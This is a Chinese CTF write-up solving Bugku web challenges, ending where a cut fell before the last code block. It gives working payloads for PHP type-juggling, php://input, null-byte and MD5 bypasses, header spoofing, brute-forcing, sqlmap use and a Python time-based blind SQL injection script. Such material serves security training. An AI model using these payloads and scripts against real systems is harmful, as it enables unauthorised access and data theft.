Bugku--WEB--WP

Case1、HTML编码

题目: web3

html-code

可以看到有一串html编码被注释起来。

1
2
3
4
5
6
7
8
9
10
<!--HTML编码特点 &#  -->

<html>
<head>
<body>
<p> &#75;&#69;&#89;&#123;&#74;&#50;&#115;&#97;&#52;&#50;&#97;&#104;&#74;&#75;&#45;&#72;&#83;&#49;&#49;&#73;&#73;&#73;&#125;
<!-- KEY{J2sa42ahJK-HS11III} -->
</body>
</head>
</html>

Case2、HTTP报头

题目: 域名解析

根据题目提示: 听说把 flag.baidu.com 解析到123.206.87.240 就能拿到flag

思路一: 修改系统的host文件

Windows下:

C:\Windows\System32\drivers\etc这个目录下以管理员权限打开hosts添加一条

123.206.87.240 flag.baidu.com即可

Linux下(以kali为例):

vim /etc/hosts // 修改hosts文件 添加123.206.87.240 flag.baidu.com

/etc/init.d/networking restart // 重启网络服务

思路二: 修改HTTP请求中的host消息报头

​ 使用burpsuite抓包改包。

http-host

## 题目: [管理员系统]( http://123.206.31.85:1003/ )

http-ip

直接访问的话会显示IP禁止访问,请联系本地管理员登录。一般就需要在请求报文中添加一条消息报头X-Forwarded-For: 127.0.0.1 。用于识别用户的真实IP地址。

Case3、登录爆破

题目: 管理员系统

题目降低了难度,按F12可以查看到源码中有一串base64编码,明文为 test123。

尝试一下输入用户名发现判断回显都一样Invalid credentials!,所以没办法知道这提示是用户名还是密码。

用burpsuite的intruder功能进行账号密码爆破。(不存在验证码的话都可以选择暴力破解试试)

login-intruder

攻击类别:

  • Sniper: 对变量依次进行破解。
  • battering ram: 变量对应同一个字典。并行破解。
  • pitchfork: 变量对应不同字典。并行破解。字典项数也应该要一致。否则无法跑完较大的字典。
  • cluster bomb: 变量对应不同字典,并且进行交集破解。常用于 账号+密码 破解

burpsuite-intruder

由于不知道提示的test123是账号还是密码,所以需要爆破两次。依次将test123放在username和password。

## 题目: [输入密码查看flag]( http://123.206.87.240:8002/baopo/ )

目的: 生成密码字典

工具: crunch

命令: crunch <minimum length> <maximum length> [character set] [option]

  • option : -o 保存字典 -b 指定最大字节数 -t 设置使用的特殊格式
    * -t [@,%^] : @ 插入小写字母 | , 插入大写字母 | % 插入数字 | ^ 插入特殊符号

例子:

crunch 5 5 -t %%%%% -o num.txt //生成5位数字密码

crunch 4 4 + + 123 + -t %%@^ //生成2个数字(从123中选)+1个小写字母+1个常见符号

crunch 3 3 abc + 123 @#! -t @%^ //生成1个小写字母(从abc选)+1个数字(从123选)+1个常见符号(从@#!选)

Case4、源码分析

题目: web4

F12查看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<html><head><title>BKCTF-WEB4</title>
</head><body>
<div style="display:none;"></div>
<form action="index.php" method="post">
看看源代码?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>

<input type="input" name="flag" id="flag">
<input type="submit" name="submit" value="Submit">
</form>



</body></html>

将<script>标签内的代码处理经过URL解码、格式化之后

1
2
3
4
5
6
7
8
9
10
11
12
13
function checkSubmit()
{
var a=document.getElementById("password"); //取元素ID为password的标签
if("undefined"!=typeof a) // 未定义时 undefined。已定义时 object
{
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value) // 看这里要把password的值设为这一串MD5码
return 1;
alert("Error");
a.focus();
return 0
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
  • getElementById() : 返回对拥有指定ID的第一个对象的引用。

分析代码:

​ 取ID为password的第一个对象。若存在则判断 value属性,若不存在则报错。

目的:

​ 要向服务器提交一个 id=”password” value=”67d709b2b54aa2aa648cf6e87a7114f1” 的表单。

方法一:

​ 修改源码中的 <input type="input" name="flag" id="flag"> id改为 password。将

67d709b2b54aa2aa648cf6e87a7114f1输入文本框中点submit。

方法二:

​ 修改源码中的 <input type="input" name="flag" id="flag"><input type="input" name="flag" id="password" value="67d709b2b54aa2aa648cf6e87a7114f1" >

补充 : javascript输出方式

* alert() 弹窗输出
* document.write()  在页面上输出
* console.log() 在控制台窗口输出
## 题目: [点击一百万次]( http://123.206.87.240:9001/test/ )
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<script>
var clicks=0
$(function() {
$("#cookie")
.mousedown(function() {
$(this).width('350px').height('350px');
})
.mouseup(function() {
$(this).width('375px').height('375px');
clicks++;
$("#clickcount").text(clicks);
if(clicks >= 1000000){
var form = $('<form action="" method="post">' +
'<input type="text" name="clicks" value="' + clicks + '" hidden/>' +
'</form>');
$('body').append(form);
form.submit();
}
});
});
</script>

分析代码:

​ 关键在 if 判断语句,当clicks>=1000000时则生成一个form标签,生成一个input,添加到body标签内,并以POST方式将表单上传给服务器。

目的:

​ 构造POST数据包

方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /test/ HTTP/1.1
Host: 123.206.87.240:9001
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 14
Connection: close

clicks=1000000
  • 将GET请求转换为POST请求时增加两个请求报文: ()
    • content-length: // 标识请求内容长度。
    • content-type: // 标识请求内容的类型。常用值: application/x-www-form-urlencoded

补充:

​ JQuery是一个JavaScript的库。

  • append() : $(‘body’).append(form) // 在每个指定(body)元素的结尾插入内容(form)
  • text() : $(‘#clickcount’).text(clicks) // 设置所有指定(id=clickcount)元素文本内容(clicks
    • $(‘#clickcount’).text() //返回所有匹配元素的文本内容
    • 在CSS中可以使用 ‘#’ 来选择 id ,使用 ‘.’ 来选择class
## 题目: [never give up]( http://123.206.87.240:8006/test/hello.php?id=1 )
1
2
<!--1p.html--><html><head></head><body>never never never give up !!!
</body></html>

分析1: 查看源代码可以看到1p.html的提示,如果直接访问会被重定向到bugku的论坛。

目的: 拦截重定向,分析跳转。

方法: Burpsuite可以抓重定向。但是没设置成功。也可以手动构造一个GET请求

1
2
3
4
5
6
7
8
9
10
11
GET /test/1p.html HTTP/1.1
Host: 123.206.87.240:8006
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=162ck5ofnue25i81hokktjdict32gtnh
Connection: close

此时就可以看到Response数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 19 Dec 2019 08:16:05 GMT
Content-Type: text/html
Last-Modified: Mon, 15 May 2017 15:27:45 GMT
Connection: close
Content-Length: 1371

<HTML>
<HEAD>
<SCRIPT LANGUAGE="Javascript">
<!--


var Words ="%3Cscript%3Ewindow.location.href%3D%27http%3A//www.bugku.com%27%3B%3C/script%3E%20%0A%3C%21--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ%3D%3D--%3E"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
</SCRIPT>
</HEAD>
<BODY>
</BODY>
</HTML>

将其进行Base64解码和URL解码,格式化之后

分析2: id不能为空而且id==0。要有一个文件&a的内容为”bugku is a nice plateform!”。$b的长度要大于5,且第一个字符不为4。字符串”111”与$b的第一个字符连接后形成”1114”。满足if语句的条件后就显示flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<!--
var Words ="<script>window.location.href='http://www.bugku.com';</script>
<!--";
if(!$_GET['id']) // 如果id参数为空
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.')) // 查找字符串在 $a 中第一次出现的位置
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r'); // 取$a的文件的内容。$a为数据流
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
// $a的文件的内容为 "bugku is a nice plateform!"
// $id==0
// $b的长度大于5
// $b的第一个字符不为4
// "111".substr($b,0,1) 将$b的第[0,1)个子串与"111"连接。
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>-->"
function OutWord()
{
var NewWords;
NewWords = unescape(Words);
document.write(NewWords);
}
OutWord();
// -->
  • stripos(str1,str2) : 查找 str2 在str1 中第一次出现的位置。
  • substr(str1,start[,length]) : 字符串切割。将str1从start位置开始分割出length长的子串。
  • “111”.substr(str1,0,1) : 将substr返回的子串连接到 “111”后。”.”在PHP中可以连接两个字符串
  • eregi(strei,str1) : 不区分大小写的正则匹配。strei 为正则表达式,str1为进行匹配的字符串
  • ereg(strei,str1) : 区分大小写的正则匹配。
  • JavaScript的location_href=”url” : 页面跳转。

方法:

  • id==0。可以使用php的弱类型比较漏洞。令id为不以数字开头的字符串就可以。
  • $a的内容。 可以使用php伪协议。php://input 从POST正文提取内容。
  • “1114”与$b的矛盾。 可以使用 eregi()的空字符截断漏洞,当匹配字符串或正则表达式遇到空字符时则截断(结束匹配)。空字符: \x00在URL中编码为%00,占用1字节。

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /test/hello.php?id='abc'&a=php://input&b=%00123456 HTTP/1.1
Host: 123.206.87.240:8006
Cache-Control: max-age=0
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=162ck5ofnue25i81hokktjdict32gtnh
Connection: close
Content-Length: 26

bugku is a nice plateform!

总结: 要仔细分析网页的跳转流程。PHP黑魔法总结

题目: 前女友

exgf

F12查看源代码可以发现有一个超链接。<a class="link" href="code.txt" target="_blank">链接</a>

很直接的PHP源码分析。GET方式传入3个参数。md5碰撞,strcmp绕过。

1
2
3
4
5
6
7
8
9
10
11
12
<?php
if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
if($v1 != $v2 && md5($v1) == md5($v2)){ //很经典的同md5不同真值,而且是松散比较
if(!strcmp($v3, $flag)){
echo $flag;
}
}
}
?>

分析: 只要传入3个参数v1,v2,v3,找到不同的 v1和v2 加密后得到相同的MD5(或者只要是加密后的MD5是以0e开头之后全为数字即可,PHP将转换为科学记数法,符合的字符串asrutmucezlqem)。再利用strcmp()的漏洞就可以得到flag。

PS: 这里使用的 PHP脚本。这提供一对遇到MD5碰撞时常用字符串—240610708QNKCDZO

Payload1: v1=240610708&v2=QNKCDZO&v3[]=

Payload2: v1=asrutmu&v2=cezlqem&v3[]=

Payload3: v1[]=1&v2[]=2&v3[]= //这里利用了MD5加密数组返回NULL的漏洞。

题目: web8

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
extract($_GET); //从URL中获取变量名-变量值。
if (!empty($ac))
{
$f = trim(file_get_contents($fn)); //剔除前后空白字符。
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
  • extract() : 从数组中导入当前变量到当前符号表(key-value)。

    • 1
      2
      3
      4
      5
      6
      7
      <?php
      $a = "Original";
      $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse");
      extract($my_array);
      echo "\$a = $a; \$b = $b; \$c = $c";
      ?>
      菜鸟教程的例子。
  • file_get_contents() : 将文件(数据流)读到指定字符串。失败返回False。

  • trim() : 移除字符串两侧的空白字符或指定字符。例子: trim(str1,”abc”)

分析: 参数可控。让$fn指向POST正文的数据流(利用php://input),通过file_get_contents()读入文本内容,而POST的内容也是可控的,再让$ac===$fn即可。

payload: fn=php://input&ac=abc

错误的思路:

​ 若file_get_contents返回为False,则打开文件后经过trim()为空字符0x00。这里想用空字符%00替代发现%00实际占用了1字节。即 %00 !=== 0x00。

checktrim

题目: Cookie欺骗

分析: 观察URL中有两个关键参数。line和filename。一开始以为可以直接利用$filename读取源码。但尝试之后失败,猜测应该是要输入文件名,在通过更改行数遍历出源代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import base64
index_php = base64.b64encode(b'index.php')
lines = 0
session = requests.session()
content=[]
while 1 :
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename={}".format(lines,index_php.decode())
get = session.get(url)
print(get.text)
if "?>" in get.text :
break
content.append(get.text)
lines+=1

with open(r"C:\Users\www50\Desktop\web\index.php","wt") as f :
for eachline in content:
f.write(eachline)

写个脚本,依次遍历每一行(line自增),得到index.php的源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
# file的值取为若url中有filename则赋值,否则为空
$line=isset($_GET['line'])?intval($_GET['line']):0;
# line的值为若url中有则强制转换为整型赋值,否则为0
# php的条件运算符 ?:
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
#实现跳转
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
# [0]='keys.txt' [1]='index.php'
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
# 若设置了cookie的值 margin=='margin' 则file_list[2]='keys.php'
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
  • header(string,replace,http_response_code) : 向客户端传送原始的HTTP消息报头。
    • replace : 标识是否替换已存在报头。true–替换,false–允许多个相同报头。
    • http_response_code : 将HTTP响应代码强制为指定值。

分析: 可控参数$file,$line,$file_list[2]。在Cookie报头中传入对应margin参数,将filename设置为keys.php,通过控制$line来遍历keys.php中的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import requests
import base64
keys_php = base64.b64encode(b'keys.php')
lines = 0
content=[]
while 1 :
url = "http://123.206.87.240:8002/web11/index.php?line={}&filename={}".format(lines,keys_php.decode())
session = requests.session()
cookies={
'margin':'margin'
}
get = session.get(url,cookies=cookies)
if get.text == '' :
break
content.append(get.text)
lines+=1

with open(r'C:\Users\www50\Desktop\web\cookie欺骗\keys.php','wt') as f :
for eachline in content:
f.write(eachline)

python+PHP牛逼.

Case5、注入

题目: 学生成绩查询

1
2
3
4
<form action="index.php" method="post">
<input style="width:300px;height:40px;font-size:18px;" type="text" name="id" placeholder="1,2,3..."><br><br><br><br><br>
<input style="width:100px;height:40px;" type="submit" value="Submit">
</form>

思路: 界面有一个可以提交的表单,猜测是POST注入。

常规检测是否存在注入:

  • and 1=1 返回正常 and 1=2 返回不正常 。通过页面返回效果判断。 其他: or
  • 常使用 ‘ 单引号闭合。针对的是 select * from flag where id=''这种。也有存在 select * from flag where id= 不需要用单引号闭合的情况。
  • 使用 # 或 – 注释。 在URL中的话推荐使用 %23。常使用 # 。

常规手工注入步骤:

  1. 判断是否存在注入
  2. order by 猜测字段数
  3. 使用联合查询或者显错或延迟或布尔盲注爆记录。此题使用联合查询

payload:

  • 检测是否可以使用联合查询: 4' union select 1,2,3,4#
    * //这里让 id='4' 而不是为 '1'是因为联合查询的时候若为真,则会先返回最前一条查询结果。所以需要让页面返回空才能让联合查询的结果显示出来。`' union select 1,2,3,4#`
  • 查看当前数据库: ' union select 1,2,database(),4#
    • // 直接使用mysql的database()方法。skctf_flag
  • 查看当前数据库的所有表: ' union select group_concat(table_name),2,3,4 from information_schema.tables where table_schema=skctf_flag#
    • // 在MYSQL中,information_schema是一个信息数据库,保存着其他所有数据库的信息。fl4g,sc
      • 查看当前表中的所有字段: ' union select group_concat(column_name),2,3,4 from information_schema.columns where table_schema=fl4g#
      • skctf_flag
      • 从fl4g表中获取skctf_flag字段的值(记录): ' union select group_concat(skctf_flag),2,3,4 from fl4g#
      • BUGKU{Sql_INJECT0N_4813drd8hz4}
      • 补充:
      • 联合查询前提是知道列数。因为两个查询语句的字段数必须相同。否则报错
      • group_concat() : 返回一个字符串结果。将查询到的结果连接起来。

使用Sqlmap跑POST注入:

1. 使用Burpsuite抓POST请求包保存为 post.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /chengjidan/index.php HTTP/1.1
Host: 123.206.87.240:8002
Content-Length: 3
Cache-Control: max-age=0
Origin: http://123.206.87.240:8002
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.87 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://123.206.87.240:8002/chengjidan/index.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

id=
1. `sqlmap -r "post.txt" -p "id" ` //检测是否存在注入,-r 指定一个HTTP请求包。-p 指定测试参数
2. `sqlmap -r "post.txt" --dbs` // 爆数据库
3. `sqlmap -r "post.txt" --tables -D 数据库名 ` // 爆指定数据库的表名
4. `sqlmap -r "post.txt" --columns -T 表名 -D 数据库名` // 爆指定数据库的指定表的字段
5. `sqlmap -r "post.txt" --dump -C 字段名 -T 表名 -D 数据库名` //爆指定数据库的指定表的字段的记录

题目: INSERT INTO注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php 
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip); //将字符串按','拆分成数组 //过滤掉','
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
?>

分析: 将HTTP报头中的X-FORWARDED-FOR的值传入数据库中查找[即存在注入点],需要注意的是遇到 ‘,‘ 就会分隔,即注入语句中不能出现 ‘,‘ 。

数据库插入语句: insert into client_ip (ip) values ('$ip');

构造payload: insert into client_ip (ip) values ('$ip'+payload)#'); //构造闭合和注释掉无关字符。

PS: 这里可以尝试一下显错注入和union查询,尝试延迟注入和布尔盲注。

思路: 由于过滤掉了逗号,但是延迟注入用到if语句和substr语句常见的都存在逗号。所以寻找能够替换的方法。

* if <条件1>,<操作1>,<操作2> 等价于 case when <条件1> then <操作1> else <操作2> end

* substr(str1,0,1) 等价于 substr(str1 from 1 for 1)

这样就能绕过逗号过滤了。接下来就是常规的SQL注入,使用的语句整理在了web篇。自己用python写了一个脚本,延迟注入就是一个字符一个字符猜测,太繁琐了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import requests
import binascii

url =r'http://123.206.87.240:8002/web15/'
class INSERT_INTO_INJECTION:
def __init__(self,url):
self.url=url
self.second=3
self.table=''
self.column=''
def same(self,payload):
name1=''
byebye=0
index1=0
while 1:
index1+=1
for char1 in range(32,127):
inject=r"127.0.0.1'+"+payload.format(index1,char1)
header={
'X-Forwarded-For':inject
}
try:
ans = requests.get(self.url,headers=header,timeout=self.second)
except requests.exceptions.ReadTimeout as e:
name1+=chr(char1)
print(name1)
break;
finally:
if char1>=126:
byebye=1
return name1
if byebye:
break
def char2hex(self,str1):
str1=str1.encode()
binascii.b2a_hex(str1)
str1="0x"+binascii.hexlify(str1).decode()
return str1
def get_data(self):
payload=r"(select case when (ascii(substr(database() from {} for 1)) like {}) then sleep(%d) else 0 end));#"%(self.second) #修改的地方用{}括起来
data_name = self.same(payload)
print(data_name)
def get_table(self):
payload=r"(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()) from {} for 1)) like {}) then sleep(%d) else 0 end));#"%(self.second)
table_name = self.same(payload)
print("table:"+table_name)
def get_column(self):
self.table=input('choose your table:')
self.table = self.char2hex(self.table)
payload=r"(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=%s) from {} for 1)) like {}) then sleep(%d) else 0 end));#"%(self.table,self.second)
column_name = self.same(payload)
print("column:"+column_name)
def get_flag(self):
self.get_table()
self.get_column()
self.column=input('choose your column:')
self.table=input('choose your table:')
payload=r"(select case when (ascii(substr((select %s from %s) from {} for 1)) like {} ) then sleep(%d) else 0 end));#"%(self.column,self.table,self.second)
flag=self.same(payload)
print(flag)


a = INSERT_INTO_INJECTION(url)
a.get_flag()

'''
insert into client_ip (ip) values('127.0.0.1'+(select case when (length(database()) like 5) then sleep(3) else 0 end));#');
# 猜测数据库长度.

insert into client_ip (ip) values('127.0.0.1'+(select case when (ascii(substr(database() from 1 for 1)) like 116) then sleep(3) else 0 end));#');
# 猜测数据库名

insert into client_ip (ip) values('127.0.0.1'+(select case when (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema='test') from 1 for 1)) like 99) then sleep(3) else 0 end));#');
# 猜测数据库表名

insert into client_ip (ip) values('127.0.0.1'+(select case when (ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='client_ip') from 1 for 1)) like 105) then sleep(3) else 0 end));#');
# 猜测列名

insert into client_ip (ip) values('127.0.0.1'+(select case when (ascii(substr((select flag from flag) from 1 for 1))=3) then sleep(3) else 0 end));#');
# 猜测记录
'''

PS: 新增的见识。用python实现字符串转16进制,可以利用binascii模块。

1
2
3
4
5
6
import binascii
a="hello word"
b=a.encode() #解码为 bytes型
c=binascii.hexlify(b) #返回bytes型的16进制
d=binascii.unhexlify(c) #返回16进制的字符串(bytes型)
e=d.decode() #转换为str型

Case6、脚本

题目: 秋名山老司机

1
2
3
4
5
6
7
8
9
10
11
12
<html><head>
<title>下面的表达式的值是秋名山的车速</title>
<meta charset="UTF-8">
</head>
<body><p>亲请在2s内计算老司机的车速是多少</p>
<div>689785289*350569744-1686483024*231106790*1438616451+1601276346+15625014*292256528+972029230*1802882919+548026223=?;</div>
<style>
div,p{
text-align: center;
margin: 0 auto;
}
</style></body></html>

目的: 在2s内计算出字符串的值POST给服务器。

方法: 可以使用Python脚本实现。主要用到 requests模块 和 BeautifulSoup模块。

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
from bs4 import BeautifulSoup

session= requests.session() #建立一个会话(保持会话连接)
r=session.get(r'http://123.206.87.240:8002/qiumingshan/') #发送GET请求
soup = BeautifulSoup(r.text,'lxml') #将r.txt解析为BeautifulSoup类型
text1 = soup.find('div').text #定位到<div>标签的内容(即要求计算的表达式)
text1=text1[:-3] #处理掉表达式结尾的 '=?;'
print(text1)
value1=eval(text1) #使用eval()函数执行表达式计算
data={
'value':value1
}
p = session.post(url=r"http://123.206.87.240:8002/qiumingshan/",data=data)
p.encoding='gb2313'
print(data)
print(p.text) #服务器返回的结果。
  • 这题还有个坑就是不知道该POST什么内容。多次刷新页面后会返回提示。
1
<html><head></head><body>Give me value post about 1167615833-2028495294+97381097-1569928798*667028930+343773411+1167012173+1531393645*279992116+950996094*410742162=?</body></html>
  • 补充 : Python中的另外一个可以执行字符串的函数 exec() : 执行更复杂的字符串代码,返回值永为NULL。
## 题目: [速度要快]( http://123.206.87.240:8002/web6/ )
1
2
<html><head></head><body><br>我感觉你得快点!!!<!-- OK ,now you have to post the margin what you find -->
</body></html>

分析: 使用Burpsuite抓包,发现在Response包内有flag消息报头,且值为Base64编码,每次重新访问flag都会不同,所以猜测将值解码后以margin为key,POST给服务器。

1
2
3
4
5
6
7
8
9
10
11
12
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 19 Dec 2019 07:41:32 GMT
Content-Type: text/html;charset=utf-8
Connection: close
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
flag: 6LeR55qE6L+Y5LiN6ZSZ77yM57uZ5L2gZmxhZ+WQpzogTXpBMU1EYzI=
Content-Length: 89

</br>我感觉你得再快点!!!<!-- OK ,now you have to post the margin what you find -->

脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import base64
session = requests.session()
url = r'http://123.206.87.240:8002/web6/'
r = session.get(url)
flag = r.headers['flag'] # flag在请求头中
flag = (base64.b64decode(flag)[-8:]) #这里只取从后到前的8个字符
#是因为跑的还不错,给你flag吧: MzA1MDc2 前面为乱码。猜测只有末8位有效。

flag =str(base64.b64decode(flag),encoding='utf-8') #两次Base64解码后类型为byte,所以需要进行字符串转换。否则提交的值为 b'value'
#flag = base64.b64decode(flag).decode()
#print(type(flag))
#print(flag)
data={
'margin':flag, #这里看提示是 post the margin。
}
p = session.post(url,data=data)
#print(data['margin'])
print(p.text)
  • 使用Python的base64模块可以进行Base64编码解码。但是要注意类型的转换。
  • str => bytes : s.encode() 可以指定编码。 s.encode(encoding=’utf-8’)。
  • bytes => str : b.decode() 可以指定编码。b.decode(encoding=’utf-8’)。
  • 补充: 这题有点小坑,需要两次Base64解码

题目: 备份是个好习惯

1
<html><head></head><body>d41d8cd98f00b204e9800998ecf8427ed41d8cd98f00b204e9800998ecf8427e</body></html>

分析1: 这个页面是本题的第一个坑。解这串MD5会得到一个空密码。所以做题的时候要关注题目和提示。从备份文件下手,后缀一般为 bak,swp。

scanfile

PS: 如果工具扫描不出来,则可以自己在配置文件里添加。

把index.php.bak下载下来之后就可以分析代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
